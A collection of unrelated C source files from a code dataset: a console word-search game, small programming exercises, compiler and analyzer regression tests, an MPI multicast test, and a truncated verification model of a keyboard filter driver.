for (i = 0; i < 8; ++i)
selection[i][0] = -1;
int selection_index = 0;
char puzzle[50][50];
char *ppuzzle = &(puzzle[0][0]);
getPuzzle(ppuzzle);
printPuzzle(ppuzzle, x, y, selection);
char months[12][10];
char *pmonths = &(months[0][0]);
getMonths(pmonths);
int monthsFound[12];
for (i = 0; i < 12; ++i)
monthsFound[i] = 0; // No month found | Set to 1 for testing
char message[200];
char help[] = "\n\
INSTRUCTIONS\n\
Press enter after this keys:\n\
h: show help\n\
wasd: movement\n\
' ': select letter\n\
c: clear selection\n\
v: verify selection\n\n\
";
strcpy(message, help);
do {
// Print puzzle
printPuzzle(ppuzzle, x, y, selection);
// Print message
printf("%s", message);
strcpy(message, "");
// Print selection
printf("Selection: ");
for (i = 0; i < 8; ++i)
if (selection[i][0] == -1)
printf("_");
else
printf("%c", puzzle[selection[i][1]][selection[i][0]]);
printf("\n");
// Print months found
printf("Months found: ");
for (i = 0, j = 0; i < 12; ++i) {
if (monthsFound[i]) {
printf("%s ", months[i]);
++j;
}
}
if (j < 12)
printf("(%d/12)\n", j);
else
printf("(%d/12 :D)\n", j);
// Keyboard input
switch (c) {
case 'w':
if (y > 0)
y--;
break;
case 'a':
if (x > 0)
x--;
break;
case 's':
if (y < 49)
y++;
break;
case 'd':
if (x < 49)
x++;
break;
case ' ': // Select letter
if (selection_index <= 7) {
// Check if the letters are next to each other
if ( x == selection[selection_index-1][0]-1 ||
x == selection[selection_index-1][0]+1 ||
x == selection[selection_index-1][0] ||
selection_index == 0) {
if ( y == selection[selection_index-1][1]-1 ||
y == selection[selection_index-1][1]+1 ||
y == selection[selection_index-1][1] ||
selection_index == 0) {
selection[selection_index][0] = x;
selection[selection_index][1] = y;
++selection_index;
} else {
strcpy(message, "\
\x1b[31m\
You have to select letters that are next to each other.\
\n\x1b[0m");
}
} else {
strcpy(message, "\
\x1b[31m\
You have to select letters that are next to each other.\
\n\x1b[0m");
}
}
break;
case 'c': // Clear selection
for (i = 0; i < 8; ++i)
selection[i][0] = -1;
selection_index = 0;
break;
case 'v': // Verify selection
i = verifySelection(&(selection[0][0]), ppuzzle, months);
if (i >= 0)
monthsFound[i] = 1;
break;
case 'h': // Show help
strcpy(message, help);
break;
}
} while ((c = getchar()) != 'q');
return 0;
}
void getPuzzle(char *puzzle)
{
int c;
int i, j;
FILE *file;
i = j = 0;
file = fopen("puzzle.txt", "r");
while ((c = getc(file)) != EOF)
{
if (c == '\t' || c == ' ') {
continue;
} else if (c == '\n') {
++j;
i = 0;
} else {
puzzle[j*50+i] = c;
i++;
}
}
fclose(file);
}
void printPuzzle(char *puzzle, int x, int y, int selection[8][2])
{
int i, j, k;
system("clear");
for (i = 0; i < 50; ++i) {
for (j = 0; j < 50; ++j) {
if (i == y && j == x) {
printf("\x1b[31m%c\x1b[0m ", puzzle[i*50+j]);
} else {
for (k = 0; k < 8; ++k) {
if (i == selection[k][1] && j == selection[k][0]) {
printf("\x1B[34m%c\x1b[0m ", puzzle[i*50+j]);
k = 9;
}
}
if (k < 9) {
printf("%c ", puzzle[i*50+j]);
}
}
}
printf("\n");
}
}
void getMonths(char *months)
{
int c;
int i, j;
i = j = 0;
FILE *file;
file = fopen("wordbank.txt", "r");
while ((c = getc(file)) != EOF) {
if (c != '\n') {
months[i*10+j] = (char) c;
++j;
} else {
months[i*10+j] = '\0';
++i;
j = 0;
}
}
fclose(file);
}
int verifySelection(int *selection, char *puzzle, char months[12][10])
{
int i;
char str[9];
int isequal = 0;
// Pass selection to string
for (i = 0; i < 8; ++i) {
if (selection[i*2] == -1) {
break;
} else {
str[i] = puzzle[selection[i*2+1]*50+selection[i*2]];
}
}
str[i] = '\0';
// Verify selection
for (i = 0; i < 12; ++i)
if ((isequal = !strcmp(str, months[i])) > 0)
break;
// Return month found or -1 (no month found)
if (isequal) {
return i;
} else {
return -1;
}
}
|
the_stack_data/76132.c
|
#include <stdlib.h>
#include <memory.h>
#include <math.h>
void add_element(int **begin, int **end, int element) {
if (*begin == 0) {
*begin = malloc(sizeof(int));
**begin = element;
*end = *begin + 1;
} else {
int *temporary = *begin;
size_t size = ((char *) (*end) - (char *) (*begin)) / sizeof(int);
*begin = calloc(size + 1, sizeof(int));
memcpy(*begin, temporary, size * sizeof(int));
*end = *begin + size;
**end = element;
(*end)++;
free(temporary);
}
}
int key(const int *pb_src, const int *pe_src, int **pb_dst, int **pe_dst) {
int *it;
int sum = 0;
int c = 0;
(*pb_dst) = 0;
(*pe_dst) = 0;
if (pb_src == pe_src)
return 0;
for (it = (int *) pb_src; it < pe_src; ++it, ++c) {
sum += (*it);
}
if (sum == 0)
return 0;
sum = sum / c;
for (it = (int *) pb_src, c = 0; it < pe_src; ++it) {
if ((*it) > sum) {
++c;
add_element(pb_dst, pe_dst, (*it));
}
}
return c;
}
|
the_stack_data/170452191.c
|
// Test to ensure -emit-llvm profile-sample-accurate is honored by clang.
// RUN: %clang -S -emit-llvm %s -fprofile-sample-accurate -o - | FileCheck %s
// CHECK: define{{.*}} void @foo()
// CHECK: attributes{{.*}} "profile-sample-accurate"
void foo(void) {
}
|
the_stack_data/939463.c
|
#include <stdio.h>
#include <stdlib.h>
int main()
{
int j, x=0;
for(j=0;j<=5;j++)
{
switch (j-1)
{
case 0:
case -1:
x += 1;
break;
case 1:
case 2:
case 3:
x+=2;
break;
default:
x+=3;
}
printf("%d",x);
}
return 0;
}
|
the_stack_data/232955324.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include<wait.h>
#define BS 20
int main(void)
{
//Q6: BiDirectional Pipe
char wmp[BS];
char rmp[BS];
char wmc[BS];
char rmc[BS];
int fd1[2], fd2[2];
pipe(fd1);
pipe(fd2);
pid_t pid;
pid = fork();
if(pid>0)
{
printf("Parent Message for Child ");
scanf("%[^\n]", wmp);
close(fd1[0]);
close(fd2[1]);
write(fd1[1], wmp, strlen(wmp)+1);
read(fd2[0], rmp, BS);
close(fd1[1]);
close(fd2[0]);
printf("Parent Message from Child: %s\n", rmp);
}
else if(pid==0){
printf("Then Child Message for Parent Respectively:\n");
scanf("%[^\n]", wmc);
close(fd1[1]);
close(fd2[0]);
read(fd1[0], rmc, BS);
write(fd2[1], wmc, strlen(wmc)+1);
close(fd1[0]);
close(fd2[1]);
printf("Child Message from Parent: %s\n", rmc);
}
return 0;
}
|
the_stack_data/82939.c
|
/* |4.3|
* 1. Dada uma série de números positivos (finalizada com um valor nulo) que
* representam as idades das pessoas que moram num certo bairro, determine a
* idade da pessoa mais nova e a da pessoa mais velha.
*/
#include <stdio.h>
#define FLAG 0
int
main(void)
{
int menor, maior, idade;
menor = 9999;
maior = 0;
for (;;) {
puts("Entre com a idade da pessoa:");
scanf("%d", &idade);
if (idade == FLAG)
break;
else if (idade > maior)
maior = idade;
if (idade < menor)
menor = idade;
}
printf("Maior e menor idade, respectivamente: %d, %d\n", maior, menor);
return 0;
}
|
the_stack_data/92326720.c
|
#include<math.h>
int main()
{
float temp;
temp = 1.8e307f + 1.5e50f; // should produce overflow -> +infinity (according to standard)
assert(isinf(temp));
float x;
x=temp-temp;
// should be +inf
assert(isinf(temp));
}
|
the_stack_data/222861.c
|
#include <stdio.h>
int main(void) {
int hour, minute;
printf("Enter a 24-hour time: ");
scanf("%d:%d", &hour, &minute);
if (hour < 13)
printf("Equivalent 12-hour time: %d:%d AM\n", hour, minute);
else
printf("Equivalent 12-hour time: %d:%.2d PM\n", hour - 12, minute);
return 0;
}
|
the_stack_data/124742.c
|
#include <stdio.h>
/**
* 打印身高体重对照表
*
*/
double weight(int);
int main(int argc, char const *argv[])
{
puts("请输入最低身高,最高身高,间隔");
int low, high, step;
scanf("%d", &low);
scanf("%d", &high);
scanf("%d", &step);
for (int index = low; index <= high; index += step) {
printf("身高:%d 体重: %.2f \n", index, weight(index));
}
putchar('\n');
return 0;
}
double weight(int height) {
return (height - 100) * 0.9;
}
|
the_stack_data/107953940.c
|
/* -*- C -*-
*
* $HEADER$
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <time.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
int main(int argc, char* argv[])
{
int rc, i;
char hostname[512];
pid_t pid;
struct timeval tv;
int xmit, recv;
struct sockaddr_in rx, inaddr;
struct ip_mreq req;
fd_set fdset;
fd_set errset;
int flags;
int addrlen;
struct timespec ts, tsrem;
uint8_t ttl = 1;
uint8_t bytes[256];
char *nprocstr;
int nprocs;
gethostname(hostname, 512);
pid = getpid();
printf("orte_mcast_recv: Node %s Pid %ld\n",
hostname, (long)pid);
nprocstr = getenv("OMPI_COMM_WORLD_SIZE");
nprocs = strtol(nprocstr, NULL, 10);
/* create a xmit socket */
xmit = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(xmit < 0) {
fprintf(stderr,"%d: rmcast:init: socket() failed\n", (int)pid);
exit(1);
}
/* set the multicast flags */
if ((setsockopt(xmit, IPPROTO_IP, IP_MULTICAST_TTL,
(void *)&ttl, sizeof(ttl))) < 0) {
fprintf(stderr,"%d: rmcast:init: socketopt() failed\n", (int)pid);
exit(1);
}
flags = 1;
if (setsockopt (xmit, SOL_SOCKET, SO_REUSEADDR, (const char *)&flags, sizeof(flags)) < 0) {
fprintf(stderr, "rmcast:basic: unable to set the SO_REUSEADDR option\n");
exit(1);
}
memset(&inaddr, 0, sizeof(inaddr));
inaddr.sin_family = AF_INET;
inaddr.sin_addr.s_addr = htonl(0xEFFF0001);
inaddr.sin_port = htons(5002);
addrlen = sizeof(struct sockaddr_in);
/* set membership to "any" */
memset(&req, 0, sizeof (req));
req.imr_multiaddr.s_addr = htonl(0xEFFF0001);
req.imr_interface.s_addr = htonl(INADDR_ANY);
if ((setsockopt(xmit, IPPROTO_IP, IP_ADD_MEMBERSHIP,
(void *)&req, sizeof (req))) < 0) {
fprintf(stderr, "setsockopt() failed\n");
exit(1);
}
/* create a recv socket */
recv = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(recv < 0) {
fprintf(stderr,"%d: rmcast:init: socket() failed\n", (int)pid);
exit(1);
}
flags = 1;
if (setsockopt (recv, SOL_SOCKET, SO_REUSEADDR, (const char *)&flags, sizeof(flags)) < 0) {
fprintf(stderr, "rmcast:basic: unable to set the SO_REUSEADDR option\n");
exit(1);
}
memset(&rx, 0, sizeof(rx));
rx.sin_family = AF_INET;
rx.sin_addr.s_addr = htonl(0xEFFF0001);
rx.sin_port = htons(5002);
/* bind the socket */
if (bind(recv, (struct sockaddr*)&rx, sizeof(rx)) < 0) {
fprintf(stderr, "%d: rmcast:init: bind()\n", (int)pid);
exit(1);
}
/* set membership to "any" */
memset(&req, 0, sizeof (req));
req.imr_multiaddr.s_addr = htonl(0xEFFF0001);
req.imr_interface.s_addr = htonl(INADDR_ANY);
if ((setsockopt(recv, IPPROTO_IP, IP_ADD_MEMBERSHIP,
(void *)&req, sizeof (req))) < 0) {
fprintf(stderr, "%d: rmcast:init: sockopt()\n", (int)pid);
exit(1);
}
tv.tv_sec = 1;
tv.tv_usec = 100*1000;
FD_ZERO(&fdset);
FD_ZERO(&errset);
FD_SET(recv, &fdset);
while ((rc = select(recv+1,
&fdset /* read-fds */, 0 /* write-fds */,
&errset /* error-fds */, NULL)) < 0) {
fprintf(stderr, "select\n");
}
if (0 == rc) {
fprintf(stderr, "select failed to find anything - errno %d\n", errno);
exit(0);
}
fprintf(stderr, "%d: MESSAGE ARRIVED...READING DATA\n", (int)pid);
addrlen = sizeof(rx);
rc = recvfrom(recv, bytes, 256, 0, (struct sockaddr *)&rx, &addrlen);
fprintf(stderr, "%d: RECVD %d bytes...SENDING RESPONSE\n", (int)pid, rc);
/* send a reply */
if ((rc = sendto(xmit, (char*)bytes, 256, 0, (struct sockaddr *)&inaddr, sizeof(struct sockaddr_in))) != 256) {
fprintf(stderr, "%d: send error %d\n", (int)pid, errno);
exit(1);
}
fprintf(stderr, "%d: RESPONSE SENT\n", (int)pid);
ts.tv_sec = 0;
ts.tv_nsec = 450*1000;
while (nanosleep(&ts, &tsrem) < 0) {
ts = tsrem;
}
for (i=1; i < nprocs; i++) {
while ((rc = select(recv+1,
&fdset /* read-fds */, 0 /* write-fds */,
&errset /* error-fds */, NULL)) < 0) {
fprintf(stderr, "select\n");
}
if (0 == rc) {
fprintf(stderr, "select failed to find anything - errno %d\n", errno);
exit(0);
}
fprintf(stderr, "%d: MESSAGE ARRIVED...READING DATA\n", (int)pid);
addrlen = sizeof(rx);
rc = recvfrom(recv, bytes, 256, 0, (struct sockaddr *)&rx, &addrlen);
fprintf(stderr, "%d: RECVD %d bytes\n", (int)pid, rc);
}
exit(0);
}
|
the_stack_data/103004.c
|
// RUN: %crabllvm --turn-undef-nondet --lower-unsigned-icmp --inline --devirt-functions --externalize-addr-taken-functions --crab-narrowing-iterations=2 --crab-widening-delay=2 --crab-widening-jump-set=0 --crab-check=assert --crab-stats --crab-dom=boxes --crab-track=arr --crab-singleton-aliases --do-not-print-invariants "%s" 2>&1 | OutputCheck -l debug %s
// CHECK: ^29 Number of total safe checks$
// CHECK: ^ 0 Number of total error checks$
// CHECK: ^ 0 Number of total warning checks$
extern void __VERIFIER_error() __attribute__ ((__noreturn__));
extern char __VERIFIER_nondet_char(void);
extern int __VERIFIER_nondet_int(void);
extern long __VERIFIER_nondet_long(void);
extern void *__VERIFIER_nondet_pointer(void);
extern int __VERIFIER_nondet_int();
int PoCallDriver(int DeviceObject , int Irp );
int KbFilter_PnP(int DeviceObject , int Irp );
int IofCallDriver(int DeviceObject , int Irp );
int KeSetEvent(int Event , int Increment , int Wait );
int KeWaitForSingleObject(int Object , int WaitReason , int WaitMode , int Alertable ,
int Timeout );
int KbFilter_Complete(int DeviceObject , int Irp , int Context );
int KbFilter_CreateClose(int DeviceObject , int Irp );
int KbFilter_DispatchPassThrough(int DeviceObject , int Irp );
int KbFilter_Power(int DeviceObject , int Irp );
int PoCallDriver(int DeviceObject , int Irp );
int KbFilter_InternIoCtl(int DeviceObject , int Irp );
int KernelMode ;
int Executive ;
int DevicePowerState ;
int s ;
int UNLOADED ;
int NP ;
int DC ;
int SKIP1 ;
int SKIP2 ;
int MPR1 ;
int MPR3 ;
int IPC ;
int pended ;
int compFptr ;
int compRegistered ;
int lowerDriverReturn ;
int setEventCalled ;
int customIrp ;
int myStatus ;
void stub_driver_init(void)
{
{
s = NP;
pended = 0;
compFptr = 0;
compRegistered = 0;
lowerDriverReturn = 0;
setEventCalled = 0;
customIrp = 0;
return;
}
}
void _BLAST_init(void)
{
{
UNLOADED = 0;
NP = 1;
DC = 2;
SKIP1 = 3;
SKIP2 = 4;
MPR1 = 5;
MPR3 = 6;
IPC = 7;
s = UNLOADED;
pended = 0;
compFptr = 0;
compRegistered = 0;
lowerDriverReturn = 0;
setEventCalled = 0;
customIrp = 0;
return;
}
}
void IofCompleteRequest(int, int);
void errorFn(void);
int KbFilter_PnP(int DeviceObject , int Irp )
{ int devExt ;
int irpStack ;
int status ;
int event = __VERIFIER_nondet_int() ;
int DeviceObject__DeviceExtension = __VERIFIER_nondet_int() ;
int Irp__Tail__Overlay__CurrentStackLocation = __VERIFIER_nondet_int() ;
int irpStack__MinorFunction = __VERIFIER_nondet_int() ;
int devExt__TopOfStack = __VERIFIER_nondet_int() ;
int devExt__Started ;
int devExt__Removed ;
int devExt__SurpriseRemoved ;
int Irp__IoStatus__Status ;
int Irp__IoStatus__Information ;
int Irp__CurrentLocation = __VERIFIER_nondet_int() ;
int irpSp ;
int nextIrpSp ;
int nextIrpSp__Control ;
int irpSp___0 ;
int irpSp__Context ;
int irpSp__Control ;
long __cil_tmp23 ;
{
status = 0;
devExt = DeviceObject__DeviceExtension;
irpStack = Irp__Tail__Overlay__CurrentStackLocation;
if (irpStack__MinorFunction == 0) {
goto switch_0_0;
} else {
if (irpStack__MinorFunction == 23) {
goto switch_0_23;
} else {
if (irpStack__MinorFunction == 2) {
goto switch_0_2;
} else {
if (irpStack__MinorFunction == 1) {
goto switch_0_1;
} else {
if (irpStack__MinorFunction == 5) {
goto switch_0_1;
} else {
if (irpStack__MinorFunction == 3) {
goto switch_0_1;
} else {
if (irpStack__MinorFunction == 6) {
goto switch_0_1;
} else {
if (irpStack__MinorFunction == 13) {
goto switch_0_1;
} else {
if (irpStack__MinorFunction == 4) {
goto switch_0_1;
} else {
if (irpStack__MinorFunction == 7) {
goto switch_0_1;
} else {
if (irpStack__MinorFunction == 8) {
goto switch_0_1;
} else {
if (irpStack__MinorFunction == 9) {
goto switch_0_1;
} else {
if (irpStack__MinorFunction == 12) {
goto switch_0_1;
} else {
if (irpStack__MinorFunction == 10) {
goto switch_0_1;
} else {
if (irpStack__MinorFunction == 11) {
goto switch_0_1;
} else {
if (irpStack__MinorFunction == 15) {
goto switch_0_1;
} else {
if (irpStack__MinorFunction == 16) {
goto switch_0_1;
} else {
if (irpStack__MinorFunction == 17) {
goto switch_0_1;
} else {
if (irpStack__MinorFunction == 18) {
goto switch_0_1;
} else {
if (irpStack__MinorFunction == 19) {
goto switch_0_1;
} else {
if (irpStack__MinorFunction == 20) {
goto switch_0_1;
} else {
goto switch_0_1;
if (0) {
switch_0_0:
irpSp = Irp__Tail__Overlay__CurrentStackLocation;
nextIrpSp = Irp__Tail__Overlay__CurrentStackLocation - 1;
nextIrpSp__Control = 0;
if (s != NP) {
{
errorFn();
}
} else {
if (compRegistered != 0) {
{
errorFn();
}
} else {
compRegistered = 1;
}
}
{
irpSp___0 = Irp__Tail__Overlay__CurrentStackLocation - 1;
irpSp__Context = event;
irpSp__Control = 224;
status = IofCallDriver(devExt__TopOfStack,
Irp);
}
{
__cil_tmp23 = (long )status;
if (__cil_tmp23 == 259) {
{
KeWaitForSingleObject(event, Executive,
KernelMode,
0, 0);
}
}
}
if (status >= 0) {
if (myStatus >= 0) {
devExt__Started = 1;
devExt__Removed = 0;
devExt__SurpriseRemoved = 0;
}
}
{
Irp__IoStatus__Status = status;
myStatus = status;
Irp__IoStatus__Information = 0;
IofCompleteRequest(Irp, 0);
}
goto switch_0_break;
switch_0_23:
devExt__SurpriseRemoved = 1;
if (s == NP) {
s = SKIP1;
} else {
{
errorFn();
}
}
{
Irp__CurrentLocation ++;
Irp__Tail__Overlay__CurrentStackLocation ++;
status = IofCallDriver(devExt__TopOfStack,
Irp);
}
goto switch_0_break;
switch_0_2:
devExt__Removed = 1;
if (s == NP) {
s = SKIP1;
} else {
{
errorFn();
}
}
{
Irp__CurrentLocation ++;
Irp__Tail__Overlay__CurrentStackLocation ++;
IofCallDriver(devExt__TopOfStack, Irp);
status = 0;
}
goto switch_0_break;
switch_0_1: ;
if (s == NP) {
s = SKIP1;
} else {
{
errorFn();
}
}
{
Irp__CurrentLocation ++;
Irp__Tail__Overlay__CurrentStackLocation ++;
status = IofCallDriver(devExt__TopOfStack,
Irp);
}
goto switch_0_break;
} else {
switch_0_break: ;
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
return (status);
}
}
int main(void)
{ int status ;
int irp = __VERIFIER_nondet_int() ;
int pirp ;
int pirp__IoStatus__Status ;
int irp_choice = __VERIFIER_nondet_int() ;
int devobj = __VERIFIER_nondet_int() ;
int __cil_tmp8 ;
KernelMode = 0;
Executive = 0;
DevicePowerState = 1;
s = 0;
UNLOADED = 0;
NP = 0;
DC = 0;
SKIP1 = 0;
SKIP2 = 0 ;
MPR1 = 0;
MPR3 = 0;
IPC = 0;
pended = 0;
compFptr = 0;
compRegistered = 0;
lowerDriverReturn = 0;
setEventCalled = 0;
customIrp = 0;
myStatus = 0;
{
{
status = 0;
pirp = irp;
_BLAST_init();
}
if (status >= 0) {
s = NP;
customIrp = 0;
setEventCalled = customIrp;
lowerDriverReturn = setEventCalled;
compRegistered = lowerDriverReturn;
pended = compRegistered;
pirp__IoStatus__Status = 0;
myStatus = 0;
if (irp_choice == 0) {
pirp__IoStatus__Status = -1073741637;
myStatus = -1073741637;
}
{
stub_driver_init();
}
{
if (status < 0) {
return (-1);
}
}
int tmp_ndt_1;
tmp_ndt_1 = __VERIFIER_nondet_int();
if (tmp_ndt_1 == 0) {
goto switch_1_0;
} else {
int tmp_ndt_2;
tmp_ndt_2 = __VERIFIER_nondet_int();
if (tmp_ndt_2 == 1) {
goto switch_1_1;
} else {
int tmp_ndt_3;
tmp_ndt_3 = __VERIFIER_nondet_int();
if (tmp_ndt_3 == 3) {
goto switch_1_3;
} else {
int tmp_ndt_4;
tmp_ndt_4 = __VERIFIER_nondet_int();
if (tmp_ndt_4 == 4) {
goto switch_1_4;
} else {
int tmp_ndt_5;
tmp_ndt_5 = __VERIFIER_nondet_int();
if (tmp_ndt_5 == 8) {
goto switch_1_8;
} else {
goto switch_1_default;
if (0) {
switch_1_0:
{
status = KbFilter_CreateClose(devobj, pirp);
}
goto switch_1_break;
switch_1_1:
{
status = KbFilter_CreateClose(devobj, pirp);
}
goto switch_1_break;
switch_1_3:
{
status = KbFilter_PnP(devobj, pirp);
}
goto switch_1_break;
switch_1_4:
{
status = KbFilter_Power(devobj, pirp);
}
goto switch_1_break;
switch_1_8:
{
status = KbFilter_InternIoCtl(devobj, pirp);
}
goto switch_1_break;
switch_1_default: ;
return (-1);
} else {
switch_1_break: ;
}
}
}
}
}
}
}
if (pended == 1) {
if (s == NP) {
s = NP;
} else {
goto _L___2;
}
} else {
_L___2:
if (pended == 1) {
if (s == MPR3) {
s = MPR3;
} else {
goto _L___1;
}
} else {
_L___1:
if (s != UNLOADED) {
if (status != -1) {
if (s != SKIP2) {
if (s != IPC) {
if (s == DC) {
goto _L___0;
}
} else {
goto _L___0;
}
} else {
_L___0:
if (pended == 1) {
if (status != 259) {
{
errorFn();
}
}
} else {
if (s == DC) {
if (status == 259) {
}
} else {
if (status != lowerDriverReturn) {
}
}
}
}
}
}
}
}
return (status);
}
}
void stubMoreProcessingRequired(void)
{
{
if (s == NP) {
s = MPR1;
} else {
{
errorFn();
}
}
return;
}
}
int IofCallDriver(int DeviceObject , int Irp )
{
int returnVal2 ;
int compRetStatus ;
int lcontext = __VERIFIER_nondet_int() ;
long long __cil_tmp7 ;
{
if (compRegistered) {
{
compRetStatus = KbFilter_Complete(DeviceObject, Irp, lcontext);
}
{
__cil_tmp7 = (long long )compRetStatus;
if (__cil_tmp7 == -1073741802) {
{
stubMoreProcessingRequired();
}
}
}
}
int tmp_ndt_6;
tmp_ndt_6 = __VERIFIER_nondet_int();
if (tmp_ndt_6 == 0) {
goto switch_2_0;
} else {
int tmp_ndt_7;
tmp_ndt_7 = __VERIFIER_nondet_int();
if (tmp_ndt_7 == 1) {
goto switch_2_1;
} else {
goto switch_2_default;
if (0) {
switch_2_0:
returnVal2 = 0;
goto switch_2_break;
switch_2_1:
returnVal2 = -1073741823;
goto switch_2_break;
switch_2_default:
returnVal2 = 259;
goto switch_2_break;
} else {
switch_2_break: ;
}
}
}
if (s == NP) {
s = IPC;
lowerDriverReturn = returnVal2;
} else {
if (s == MPR1) {
if (returnVal2 == 259) {
s = MPR3;
lowerDriverReturn = returnVal2;
} else {
s = NP;
lowerDriverReturn = returnVal2;
}
} else {
if (s == SKIP1) {
s = SKIP2;
lowerDriverReturn = returnVal2;
} else {
{
errorFn();
}
}
}
}
return (returnVal2);
}
}
void IofCompleteRequest(int Irp , int PriorityBoost )
{
{
if (s == NP) {
s = DC;
} else {
{
errorFn();
}
}
return;
}
}
int KeSetEvent(int Event , int Increment , int Wait )
{ int l = __VERIFIER_nondet_int() ;
{
setEventCalled = 1;
return (l);
}
}
int KeWaitForSingleObject(int Object , int WaitReason , int WaitMode , int Alertable ,
int Timeout )
{
{
if (s == MPR3) {
if (setEventCalled == 1) {
s = NP;
setEventCalled = 0;
} else {
goto _L;
}
} else {
_L:
if (customIrp == 1) {
s = NP;
customIrp = 0;
} else {
if (s == MPR3) {
{
errorFn();
}
}
}
}
int tmp_ndt_8;
tmp_ndt_8 = __VERIFIER_nondet_int();
if (tmp_ndt_8 == 0) {
goto switch_3_0;
} else {
goto switch_3_default;
if (0) {
switch_3_0:
return (0);
switch_3_default: ;
return (-1073741823);
} else {
}
}
}
}
int KbFilter_Complete(int DeviceObject , int Irp , int Context )
{ int event ;
{
{
event = Context;
KeSetEvent(event, 0, 0);
}
return (-1073741802);
}
}
int KbFilter_CreateClose(int DeviceObject , int Irp )
{ int irpStack__MajorFunction = __VERIFIER_nondet_int() ;
int devExt__UpperConnectData__ClassService = __VERIFIER_nondet_int() ;
int Irp__IoStatus__Status ;
int status ;
int tmp ;
{
status = myStatus;
if (irpStack__MajorFunction == 0) {
goto switch_4_0;
} else {
if (irpStack__MajorFunction == 2) {
goto switch_4_2;
} else {
if (0) {
switch_4_0: ;
if (devExt__UpperConnectData__ClassService == 0) {
status = -1073741436;
}
goto switch_4_break;
switch_4_2: ;
goto switch_4_break;
} else {
switch_4_break: ;
}
}
}
{
Irp__IoStatus__Status = status;
myStatus = status;
tmp = KbFilter_DispatchPassThrough(DeviceObject, Irp);
}
return (tmp);
}
}
int KbFilter_DispatchPassThrough(int DeviceObject , int Irp )
{ int Irp__Tail__Overlay__CurrentStackLocation = __VERIFIER_nondet_int() ;
int Irp__CurrentLocation = __VERIFIER_nondet_int() ;
int DeviceObject__DeviceExtension__TopOfStack = __VERIFIER_nondet_int() ;
int irpStack ;
int tmp ;
{
irpStack = Irp__Tail__Overlay__CurrentStackLocation;
if (s == NP) {
s = SKIP1;
} else {
{
errorFn();
}
}
{
Irp__CurrentLocation ++;
Irp__Tail__Overlay__CurrentStackLocation ++;
tmp = IofCallDriver(DeviceObject__DeviceExtension__TopOfStack, Irp);
}
return (tmp);
}
}
int KbFilter_Power(int DeviceObject , int Irp )
{ int irpStack__MinorFunction = __VERIFIER_nondet_int() ;
int devExt__DeviceState ;
int powerState__DeviceState = __VERIFIER_nondet_int() ;
int Irp__CurrentLocation = __VERIFIER_nondet_int() ;
int Irp__Tail__Overlay__CurrentStackLocation = __VERIFIER_nondet_int() ;
int devExt__TopOfStack = __VERIFIER_nondet_int() ;
int powerType = __VERIFIER_nondet_int() ;
int tmp ;
{
if (irpStack__MinorFunction == 2) {
goto switch_5_2;
} else {
if (irpStack__MinorFunction == 1) {
goto switch_5_1;
} else {
if (irpStack__MinorFunction == 0) {
goto switch_5_0;
} else {
if (irpStack__MinorFunction == 3) {
goto switch_5_3;
} else {
goto switch_5_default;
if (0) {
switch_5_2: ;
if (powerType == DevicePowerState) {
devExt__DeviceState = powerState__DeviceState;
}
switch_5_1: ;
switch_5_0: ;
switch_5_3: ;
switch_5_default: ;
goto switch_5_break;
} else {
switch_5_break: ;
}
}
}
}
}
if (s == NP) {
s = SKIP1;
} else {
{
errorFn();
}
}
{
Irp__CurrentLocation ++;
Irp__Tail__Overlay__CurrentStackLocation ++;
tmp = PoCallDriver(devExt__TopOfStack, Irp);
}
return (tmp);
}
}
int PoCallDriver(int DeviceObject , int Irp )
{
int compRetStatus ;
int returnVal ;
int lcontext = __VERIFIER_nondet_int() ;
unsigned long __cil_tmp7 ;
long __cil_tmp8 ;
{
if (compRegistered) {
{
compRetStatus = KbFilter_Complete(DeviceObject, Irp, lcontext);
}
{
__cil_tmp7 = (unsigned long )compRetStatus;
if (__cil_tmp7 == -1073741802) {
{
stubMoreProcessingRequired();
}
}
}
}
int tmp_ndt_9;
tmp_ndt_9 = __VERIFIER_nondet_int();
if (tmp_ndt_9 == 0) {
goto switch_6_0;
} else {
int tmp_ndt_10;
tmp_ndt_10 = __VERIFIER_nondet_int();
if (tmp_ndt_10 == 1) {
goto switch_6_1;
} else {
goto switch_6_default;
if (0) {
switch_6_0:
returnVal = 0;
goto switch_6_break;
switch_6_1:
returnVal = -1073741823;
goto switch_6_break;
switch_6_default:
returnVal = 259;
goto switch_6_break;
} else {
switch_6_break: ;
}
}
}
if (s == NP) {
s = IPC;
lowerDriverReturn = returnVal;
} else {
if (s == MPR1) {
{
__cil_tmp8 = (long )returnVal;
if (__cil_tmp8 == 259L) {
s = MPR3;
lowerDriverReturn = returnVal;
} else {
s = NP;
lowerDriverReturn = returnVal;
}
}
} else {
if (s == SKIP1) {
s = SKIP2;
lowerDriverReturn = returnVal;
} else {
{
errorFn();
}
}
}
}
return (returnVal);
}
}
int KbFilter_InternIoCtl(int DeviceObject , int Irp )
{ int Irp__IoStatus__Information ;
int irpStack__Parameters__DeviceIoControl__IoControlCode = __VERIFIER_nondet_int() ;
int devExt__UpperConnectData__ClassService = __VERIFIER_nondet_int() ;
int irpStack__Parameters__DeviceIoControl__InputBufferLength = __VERIFIER_nondet_int() ;
int sizeof__CONNECT_DATA = __VERIFIER_nondet_int() ;
int irpStack__Parameters__DeviceIoControl__Type3InputBuffer = __VERIFIER_nondet_int() ;
int sizeof__INTERNAL_I8042_HOOK_KEYBOARD = __VERIFIER_nondet_int() ;
int hookKeyboard__InitializationRoutine = __VERIFIER_nondet_int() ;
int hookKeyboard__IsrRoutine = __VERIFIER_nondet_int() ;
int Irp__IoStatus__Status ;
int hookKeyboard ;
int connectData ;
int status ;
int tmp ;
int __cil_tmp17 ;
int __cil_tmp18 ;
int __cil_tmp19 ;
int __cil_tmp20 = __VERIFIER_nondet_int() ;
int __cil_tmp21 ;
int __cil_tmp22 ;
int __cil_tmp23 ;
int __cil_tmp24 = __VERIFIER_nondet_int() ;
int __cil_tmp25 ;
int __cil_tmp26 ;
int __cil_tmp27 ;
int __cil_tmp28 = __VERIFIER_nondet_int() ;
int __cil_tmp29 = __VERIFIER_nondet_int() ;
int __cil_tmp30 ;
